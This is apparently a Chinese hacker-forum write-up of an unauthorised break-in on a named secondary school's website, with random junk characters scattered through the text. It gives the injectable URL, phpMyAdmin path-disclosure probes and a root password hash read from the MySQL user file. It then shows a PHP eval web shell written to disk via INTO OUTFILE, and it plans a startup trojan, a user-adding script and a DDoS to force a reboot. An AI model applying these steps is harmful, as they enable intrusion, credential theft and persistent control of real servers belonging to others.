友情检测湖北省大治市第一中学

admin

第一眼看去，好像全是html静态的，都知道静态的根本不好日，多点击几个专栏
发现这个：http://www.dyyz.net.cn/celebrate/list.php?id=3  -0  -1 判断后确认存在注入！
) y& C9 m2 k0 s' T6 l, o* j
6 q' d" B/ Z* n' g/ N# j
( w6 Y6 ^0 o; t6 l! C
  V8 u# ?6 m( e: t% b9 L6 L* W3 L常规手工不行，尝试突破也不行，利用穿山甲 可以注入：root权限
$ f# t- h/ V4 Q  [. y
( G% m/ j: A/ Y! y+ d# E& c2 G" u* G' O那么想可以直接写入shell ，getshell有几个条件：
/ F# S" h, c  T+ s

1、知道站点物理路径

2、有足够大的权限

3、magic_quotes_gpc()=OFF

0 T/ O# c1 j& K试着爆绝对路径：
5 N6 A2 K( A, B; D3 q9 D7 v" T$ o1./phpMyAdmin/index.php?lang[]=1  
9 E" L5 [+ A9 H2 E- L2 \2./phpMyAdmin/phpinfo.php  
6 ~  d0 v( h: L3./load_file()  
- y3 J/ P. [1 y+ F4./phpmyadmin/themes/darkblue_orange/layout.inc.php  
0 I9 N/ n2 ~. F- y% d& C3 A5./phpmyadmin/libraries/select_lang.lib.php  
; s# r  o: @6 R* A6 f0 r3 H* J- B6./phpmyadmin/libraries/lect_lang.lib.php  
3 Y9 i" U" @, n- V4 y7./phpmyadmin/libraries/mcrypt.lib.php   
8./phpmyadmin/libraries/export/xls.php  

均不行...........................
! }% A, p( h: ~/ H
御剑扫到这个：http://www.dyyz.net.cn//phpinfo.php       获得网站路径：D:/www/phpinfo.php
7 H6 i0 B/ g+ ~6 t0 `/ M0 q1 O
权限为root，知道网站路径，可是条件3不符合，没法写入shell ，不过服务器存在phpmyadmin
8 S- ^8 g" u9 d9 s/ s
默认不行，尝试万能密码：帐号 'localhost'@'@" 密码空 ，登录失败
$ X' o- t5 |' _1 O0 n% G* d7 m. [* _% u
敏感东西：http://202.103.49.66/Admincp.php  社工进不去...........

想想root还可以读，读到root密码进phpmyadmin 也可以拿shell

http://www.dyyz.net.cn//phpinfo.php  泄露了D:\phpStudy\PHP5\php.ini

: B( k. R& `- G# T3 b自己修改好读root密码的路径：D:\phpStudy\MySQL\Data\mysql\user.MYD
  m- J7 i. B7 ~& I
0 o; [* f' D) d. ?6 F8 T成功读到root密码：
3 j# j  P: n, F9 |# m& ]2 _; w
17---- r(0072)
% ^; \/ g% b5 o' f/ v8 I4 w18---- o(006f)
19---- o(006f)
20---- t(0074)
21---- *(002a)
22---- 8(0038)
23---- 2(0032)
24---- E(0045)
25---- 1(0031)
/ `+ o9 v: I% t4 k7 M26---- C(0043)
# j# H' j7 D- e6 s' s27---- 5(0035)
28---- 8(0038)
6 X5 m0 ?# L8 I: l5 C" W: y29---- 2(0032)
" X2 y: \+ b* R: F7 O6 D- U30---- 8(0038)
- f9 G6 M! j5 i0 F' R) l6 n/ g31---- A(0041)
32---- 9(0039)
33---- B(0042)
/ t$ Z# X3 i8 V& H34---- 5(0035)
6 p0 V$ c, k# t$ K. w35---- 4(0034)
36---- 8(0038)
37---- 6(0036)
2 e6 N5 o7 G1 w! ?' u8 e38---- 4(0034)
4 k1 P; }+ |! Q# ^39---- 9(0039)
2 Z& @; ?3 @5 o, \40---- 1(0031)
41---- 1(0031)
5 K% ]- f% `2 Z42---- 5(0035)
43---- 3(0033)
3 ]5 p+ n* q' ~( p44---- 5(0035)
: \; {% @' ]' Q5 N0 q' f45---- 9(0039)
/ Z! ?: `$ \+ W: ~$ w46---- 8(0038)
; q, v% B% Q- p) ~) \- C' `. v47---- F(0046)
, f- _: C) o/ a# c" c& L! R48---- F(0046)
49---- 4(0034)
7 d1 E9 o( G2 i" }* s9 {* a  Z50---- F(0046)
51---- 0(0030)
: [! h, z- r. t' |5 Z52---- 3(0033)
53---- 2(0032)
" H' n8 V- W( i; E; F# W+ l54---- A(0041)
: F4 b; j8 _( w# ^55---- 4(0034)
56---- A(0041)
" ?% b7 Q0 A9 a. Y57---- B(0042)
58---- *(0044)
59---- *(0035)
- ?- }- F+ c# c) v4 T* |60---- *(0041)
3 c: P" @/ v$ |8 z9 j: \61---- *0032)
& e% e3 x$ d  J' O
解密后成功登陆phpmyamin
2 l7 g1 K* c) E3 K0 o/ A                          

                             
5 Z, G2 I: E" N9 j
找到mysql数据库，执行sql语句：elect '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/wamp/www/daxia.php'

成功执行，拿下shell，菜刀连接：
; c' d7 [# f  }! n
; K& e' x# Z2 g5 ]6 ]+ l+ a" v* g服务器不支持asp,aspx,php提权无果...................

  z# j" C+ h  z; o  Z9 p0 l但服务器权限很松，上传个远控小马或是一个添加用户的vbs程序到启动里：
3 U) h. a2 U! u2 n7 s

服务器上已经有个隐藏帐号了

& g# u- z* d0 _: H$ o1 Q

别名     administrators
注释     管理员对计算机/域有不受限制的完全访问权

成员

-------------------------------------------------------------------------------
9 B) `8 q: o# q5 H+ `  Dadmin
6 U1 R' F+ N  {& V+ h0 GAdministrator
$ s% p; z5 P) `5 T5 lslipper$
sqluser
命令成功完成。
7 q7 C2 Q9 S/ C4 K% B
服务器权限很松，上传个vbs添加用户的到启动，不要用bat，会开机的时候显示运行批处理的。

( w6 G5 R) e0 w1 k. Y* Y+ lddos服务器重启，不然就只能坐等服务器重启了...............................
/ S" }6 j( l1 Y9 u6 q3 }0 `
, C) j1 n/ S0 e4 T! Z      

9 c. [0 U/ p5 O3 _# F) f

angel